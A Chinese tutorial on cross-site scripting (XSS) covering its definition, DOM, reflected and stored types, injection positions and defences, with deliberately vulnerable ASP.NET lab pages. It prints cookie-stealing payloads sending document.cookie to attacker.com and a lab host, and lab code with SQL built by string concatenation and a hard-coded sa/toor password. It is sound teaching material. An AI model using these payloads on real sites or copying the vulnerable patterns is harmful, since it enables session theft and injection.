XSS理解与防御

一、说明

我说我不理解为什么别人做得出来我做不出来,比如这里要说的XSS我觉得很多人就不了解其定义和原理的,在不了解定义和原理的背景下他们可以拿站,这让人怎么理解呢。那时我最怕两个问题,第一个是题目做得怎么样第二个是你能拿站吗。好吧这两个我都不行,从而我的渗透能力被认为是孱弱的,我自己也认为我的渗透能力是孱弱的。

在我孱弱的渗透能力中,XSS是算我掌握得最好的,那是因为在入侵检测课程中我们小组被分配到了演示说明XSS的任务,不明真相加厚颜无耻的组员都把自己当大腿然后潇洒去了。没有别的选择只能硬上。

现在回头看的话概念上确实算理解得比较好,但XSS的注入到的具体位置没有细分和防御方法还没涉及到。

 

二、XSS定义

XSS,全称Cross-Site Scripting由于CSS已被层叠样式表所用所以简写只能退而使用读音相近的XSS,中文名跨站脚本攻击。

跨站----跨越不同网站。比如www.baidu.com和www.qq.com。

脚本----基本指JavaScript,当然要追究还有微软的JScript等其他一些web脚本语言

跨站脚本----综上,就是跨越不同网站的JavaScript脚本。

跨站脚本攻击----使用跨越不同网站的JavaScript脚本进行的攻击。很多人并没有在意“跨站”的意思,或者是注意了但是不能理解:写个<script>alert(1)</script>怎么和跨越不同网站的JavaScript扯上关系呢?结合CSRF的名称和利用形式,推测XSS的跨站指的是其主要利用方式----使用JavaScript代码将cookie传到了其他网站上,比如'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>,cookie被从本站传到了www.attacker.com。

 

三、XSS形成原因

XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。

“写入到<html></html>标签内”这几个词理解要注意以下几个点:

一是是写入到<html></html>标签内而不是其他位置,如果写入的是响应头那会造成的是http头部注入等问题而不会引发XSS。

二是只要是写入到<html></html>标签内无论什么位置基本都办法实现XSS(当然可能写入不同位置利用方式会有些差异我们后边会讲到),所以我们去看AWVS等工具其扫描原理基本都是如果在响应中看到自己提交的包含特殊字符的内容就会判定为存在XSS。

三是只要“写入到<html></html>标签内”,并不限定是写入当前请求的response的<html></html>,还是后面其他请求的response的<html></html>;如果写入的是当前请求的response的<html></html>那就是反射型XSS,如写入的是后面其他请求的response的<html></html>那就是存储型XSS。(另外也因为扫描器一般都是查看当前request的response是否有request的内容来判断XSS所以扫描器一般只能扫反射型XSS不能扫存储型XSS)

 

四、XSS类型

DOM XSS----用户输入没有提交到服务器,只是被前端js接收并显示所引起的XSS。

Reflected XSS----用户输入被提交到服务器,服务器将用户输入写入本次请求的response的<html></html>内引起的XSS。

Stored XSS----用户输入被提交到服务器,服务器将用户输入写入到非本次请求的response的<html></html>内引起的XSS。

我们来说明以下两个问题:

第一个是为什么要从Reflected XSS中分离出DOM XSS。就表现形式看DOM XSS和Reflected XSS都是反射(一个是前端js反射一个是后端服务器反射),所以最开始只有Reflected XSS。但后来人们发现在服务器端添加的转义防护代码并不能处理DOM XSS,所以DOM XSS被分离了出来。

第二个是Reflected XSS和Stored XSS到底有什么区别。我觉得Reflected XSS不存数据库Stored XSS存数据库、Reflected XSS影响一个人Stored XSS一定程度上会阻碍人们对XSS的检测和理解。谁说Stored XSS一定存数据库存xml不可以吗存会话变量不可以吗?谁说Stored XSS一定影响所有人如果只是写入用户自己才能看到的页面那怎么影响所有人?所以我们可以认为Reflected XSS和Stored XSS只有“本次请求的response”和“非本次请求的response”区别,其他没有区别。

 

五、写入到不同位置的讨论

XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。而<html></html>标签内有不同的成分,当写入位置不同时攻击方式和防护方式都有些差别,我们对其加以讨论。

以下列表整理自德丸浩的《Web应用安全权威指南》(理论上<html></html>内的内容还有<style>的css)

写入位置位置示例攻击载荷攻击结果说明防护
元素内容<div>写入到这里</div><script>alert(1)</script><div><script>alert(1)</script></div?常规攻击转义<>&
属性值<input value="写入到这里" />" οnmοuseοver="alert(1)<input value="" οnmοuseοver="alert(1)" />给标签插入新属性转义<>&"
属性值(URL)<a href="写入到这里"></a>javascript:alert(1)<a href="javascript:alert(1)"></a>href和src虽然也是属性但可多使用javascript协议禁止外部网站url
事件绑定函数<body οnlοad="init('写入到这里')"></body>');alert(1)//<body οnlοad="init('');alert(1)//')"></body>函数执行完后会执行alert(1)转义\'"和换行
<script></script>内<script>写入到这里</script></script><script>alert(1)<script></script><script>alert(1)</script>闭合前边的<script>标签使在其中的过滤语句失效转义<>

 

 

 

 

 

六、XSS检测办法

在上面我们说到XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。

所以检测方法就是:

第一步,找出可以让用户输入并在本次请求的html代码中(反射型)或随便点击看击有没有出现在其他界面中(存储型)回显的位置;

第二步,在这些位置输入<script>alert('1')</script>到回显位置看有没有弹框;

第三步,如果没有弹框,那查看html代码看是标签没配对好还是有什么服务端做了什么过滤,看该怎么配对好或绕过过滤。

 

七、各类型XSS攻击举例

以下示例中我们假设:存在xss的网站部署在192.168.22.128,攻击者用户接收cookie的网站部署在192.168.22.129.

7.1 DOM XSS攻击举例

现有存在http://192.168.220.128/domxss.html页面代码如下,其本意是点击显示我的ID时从URL中读取其ID并显示:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><script>function c_show() {var userIDv = decodeURIComponent(document.URL);var pos = userIDv.indexOf("userID=") + 7;var userID = userIDv.substring(pos, document.URL.length);document.getElementById("div_id").innerHTML= userID;}    </script></head><body><div>这是测试基于DOM的XSS的domxss.html页面</div><br /><input type="button" id="bt_showID" onclick="c_show()" value="显示我的ID" /><span id="div_id">你的ID是:</span></body>
</html>

攻击者将以下链接通过(qq/邮箱/论坛等)发给用户以下链接(URL加密后):

http://192.168.220.128/domxss.html?userID='<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>'

用户看到链接点击后,直接点击“显示我的ID”按钮,其192.168.220.128网站的cookie即被发送到192.168.220.129上。

 

7.2 Reflected XSS

现存在http://192.168.220.128/reflectxss.aspx页面,内容如下:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="reflectxss.aspx.cs" Inherits="WebApplication1.reflectxss" ValidateRequest="false" %><!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head runat="server"><title></title><link  rel="stylesheet" type="text/css" href="style.css"/></head><body><div>这里是测试反射型XSS的reflectxss.aspx页面</div><br /><br /><form id="form1" runat="server" method="get"><span>请输入测试内容:</span><input type="text" name="i_input" style="width:70%"/><input type="submit"  value="确认"/><br /><br /><asp:Label ID="Label1" runat="server" Text="你输入的内容是: "></asp:Label></form></body>
</html>

对应http://192.168.220.128/reflectxss.aspx.cs内容如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;namespace WebApplication1
{public partial class reflectxss : System.Web.UI.Page{protected void Page_Load(object sender, EventArgs e){if (IsPostBack){Label1.Text = Request.QueryString["i_input"];}}}
}

其本意就是在页面中回显一下用户输入

而如果此时攻击者将以下链接通过(qq/邮箱/论坛等)发给用户以下链接(URL加密后):

http://192.168.220.128/reflectxss.aspx?__VIEWSTATE=/wEPDwUJMTc5MzM3ODgyDxYCHhNWYWxpZGF0ZVJlcXVlc3RNb2RlAgFkZE32U7BOunDRlUOFNbpK59/SbNaMfZu80qolEvzQ9JdP&__VIEWSTATEGENERATOR=F392050A&i_input=<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>

用户看到链接并点击访问后,其192.168.220.128网站的cookie即被发送到192.168.220.129上。

 

7.3 Stored XSS

现存在http://192.168.220.128/storagexss.aspx页面,内容如下:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="storagexss.aspx.cs" Inherits="WebApplication1.storagexss" ValidateRequest="false"%><!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server"><title></title><link  rel="stylesheet" type="text/css" href="style.css"/>
</head>
<body><form id="form1" runat="server"><div>这里是测试存储型XSS的storagexss.aspx页面</div><br /><div class="showcontent"><div>留言内容:</div><asp:Label ID="Lb_content" runat="server" style="width:90%"></asp:Label></div><div class="inputcontent"><div >请输入测试内容:</div><asp:TextBox ID="t_content" runat="server"  Width="99%" Height="370" TextMode="MultiLine"></asp:TextBox><br /><asp:Button ID="bt_sub" runat="server" Text="确定" style="float:right" OnClick="bt_sub_Click"/></div></form>
</body>
</html>

对应http://192.168.220.128/storagexss.aspx.cs内容如下:

using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Threading;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;namespace WebApplication1
{public partial class storagexss : System.Web.UI.Page{// 此函数用于载入页面时从数据库读取所有留言protected void Page_Load(object sender, EventArgs e){SqlConnection conn1 = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");conn1.Open();SqlCommand cmd1 = new SqlCommand("select * from t_content",conn1);SqlDataReader result = cmd1.ExecuteReader();if(result.Read()) {Lb_content.Text =(String)result["t_content"];}conn1.Close();}// 此函数用于留言者发表留言时将留言存入数据库protected void bt_sub_Click(object sender, EventArgs e){SqlConnection conn = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");conn.Open();SqlCommand cmd = new SqlCommand("update t_content set t_content='" + t_content.Text + "'", conn);cmd.ExecuteNonQuery();conn.Close();Page.Response.Write("<script>alert('留言发表成功!');</script>");}}
}

该页面就是输出所有用户留言和保存用户留言

此时攻攻者先留言<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>

用户再访问该页面时其cookie就会被发送到192.168.220.129上

 

八、XSS的防护

XSS主要是用来获取cookie的而且方式都是‘http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>这类型式,只要将cookie设置为httponly这种办法就不能成功。

但一是因为还是可以弹框所以老板或客户可能对httponly并不放心二是XSS本质是注入script代码script能做的事理论上他都能做(比如蠕虫)所以统一对<>&'"进行html实体转义也应采取。

 

参考:

德丸浩-《Web应用安全权威指南》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/389747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java大数

转自&#xff1a;https://www.cnblogs.com/zufezzt/p/4794271.html import java.util.*; import java.math.*; public class Main{public static void main(String args[]){Scanner cin new Scanner(System.in);BigInteger a, b;//以文件EOF结束while (cin.hasNext()){a cin.…

2027. 转换字符串的最少操作次数

2027. 转换字符串的最少操作次数 给你一个字符串 s &#xff0c;由 n 个字符组成&#xff0c;每个字符不是 ‘X’ 就是 ‘O’ 。 一次 操作 定义为从 s 中选出 三个连续字符 并将选中的每个字符都转换为 ‘O’ 。注意&#xff0c;如果字符已经是 ‘O’ &#xff0c;只需要保持…

bigquery_到Google bigquery的sql查询模板,它将您的报告提升到另一个层次

bigqueryIn this post, we’re sharing report templates that you can build with SQL queries to Google BigQuery data.在本文中&#xff0c;我们将分享您可以使用SQL查询为Google BigQuery数据构建的报告模板。 First, you’ll find out about what you can calculate wit…

分类树/装袋法/随机森林算法的R语言实现

原文首发于简书于[2018.06.12] 本文是我自己动手用R语言写的实现分类树的代码&#xff0c;以及在此基础上写的袋装法&#xff08;bagging&#xff09;和随机森林&#xff08;random forest&#xff09;的算法实现。全文的结构是&#xff1a; 分类树 基本知识predginisplitrules…

数据科学学习心得_学习数据科学时如何保持动力

数据科学学习心得When trying to learn anything all by yourself, it is easy to lose motivation and get thrown off track.尝试自己学习所有东西时&#xff0c;很容易失去动力并偏离轨道。 In this article, I will provide you with some tips that I used to stay focus…

用php当作cat使用

今天&#xff0c;本来是想敲 node test.js 执行一下&#xff0c;test.js文件&#xff0c;结果 惯性的敲成了 php test.js, 原文输出了 test.js的内容。 突然觉得&#xff0c;这东西 感觉好像是 cat 命令&#xff0c;嘿嘿&#xff0c;以后要是ubuntu 上没装 cat &#xff0c; …

建信01. 间隔删除链表结点

建信01. 间隔删除链表结点 给你一个链表的头结点 head&#xff0c;每隔一个结点删除另一个结点&#xff08;要求保留头结点&#xff09;。 请返回最终链表的头结点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4] 输出: [1,3] 解释&#xff1a; 蓝色结点为删除的结点…

python安装Crypto:NomodulenamedCrypto.Cipher

python 安装Crypto时出现的错误:NomodulenamedCrypto.Cipher 首先直接pip install Crypto 这时会在lib/site-packages/ 文件夹下生成crypto文件夹&#xff0c;将其重命名为Crypto ...然而这个文件夹下没有Cipher模块&#xff0c;还需要pip安装一个pycrypto&#xff0c;不过wind…

python多项式回归_在python中实现多项式回归

python多项式回归Video Link影片连结 You can view the code used in this Episode here: SampleCode您可以在此处查看 此剧 集中使用的代码&#xff1a; SampleCode 导入我们的数据 (Importing our Data) The first step is to import our data into python.第一步是将我们的…

Uboot 命令是如何被使用的?

有什么问题请 发邮件至syyxyoutlook.com, 欢迎交流~ 在uboot代码中命令的模式是这个样子&#xff1a; 这样是如何和命令行交互的呢&#xff1f; 在command.h 中, 我们可以看到如下宏定义 将其拆分出来&#xff1a; #define U_BOOT_CMD(name,maxargs,rep,cmd,usage,help) \ U_…

2029. 石子游戏 IX

2029. 石子游戏 IX Alice 和 Bob 再次设计了一款新的石子游戏。现有一行 n 个石子&#xff0c;每个石子都有一个关联的数字表示它的价值。给你一个整数数组 stones &#xff0c;其中 stones[i] 是第 i 个石子的价值。 Alice 和 Bob 轮流进行自己的回合&#xff0c;Alice 先手…

大数据可视化应用_在数据可视化中应用种族平等意识

大数据可视化应用The following post is a summarized version of the article accepted to the 2020 Visualization for Communication workshop as part of the 2020 IEEE VIS conference to be held in October 2020. The full paper has been published as an OSF Preprint…

Windows10电脑系统时间校准

有时候新安装电脑系统&#xff0c;系统时间不对&#xff0c;需要主动去校准系统时间。1、点击时间 2、日期和时间设置 3、其他日期、时间和区域设置 4、设置时间和日期 5、Internet 时间 6、点击立即更新&#xff0c;如果更新失败就查电脑是否已联网&#xff0c;重试点击立即更…

webpack问题

Cannot find module webpack/lib/node/NodeTemplatePlugin 全局&#xff1a;npm i webpack -g npm link webpack --save-dev 转载于:https://www.cnblogs.com/doing123/p/8994269.html

397. 整数替换

397. 整数替换 给定一个正整数 n &#xff0c;你可以做如下操作&#xff1a; 如果 n 是偶数&#xff0c;则用 n / 2替换 n 。 如果 n 是奇数&#xff0c;则可以用 n 1或n - 1替换 n 。 n 变为 1 所需的最小替换次数是多少&#xff1f; 示例 1&#xff1a; 输入&#xff1a;…

pd种知道每个数据的类型_每个数据科学家都应该知道的5个概念

pd种知道每个数据的类型意见 (Opinion) 目录 (Table of Contents) Introduction 介绍 Multicollinearity 多重共线性 One-Hot Encoding 一站式编码 Sampling 采样 Error Metrics 错误指标 Storytelling 评书 Summary 摘要 介绍 (Introduction) I have written about common ski…

td

单元格td设置padding&#xff0c;而不能设置margin。转载于:https://www.cnblogs.com/fpcbk/p/9617629.html

清除浮动的几大方法

对于刚接触到html的一些人经常会用到浮动布局&#xff0c;但对于浮动的使用和清除浮动来说是大为头痛的&#xff0c;在这里介绍几个关于清除浮动的的方法。如果你说你要的就是浮动为什么要清除浮动的话&#xff0c;我就真的无言以对了&#xff0c;那你就当我没说。 关于我们在布…

xgboost keras_用catboost lgbm xgboost和keras预测财务交易

xgboost kerasThe goal of this challenge is to predict whether a customer will make a transaction (“target” 1) or not (“target” 0). For that, we get a data set of 200 incognito variables and our submission is judged based on the Area Under Receiver Op…

2017. 网格游戏

2017. 网格游戏 给你一个下标从 0 开始的二维数组 grid &#xff0c;数组大小为 2 x n &#xff0c;其中 grid[r][c] 表示矩阵中 (r, c) 位置上的点数。现在有两个机器人正在矩阵上参与一场游戏。 两个机器人初始位置都是 (0, 0) &#xff0c;目标位置是 (1, n-1) 。每个机器…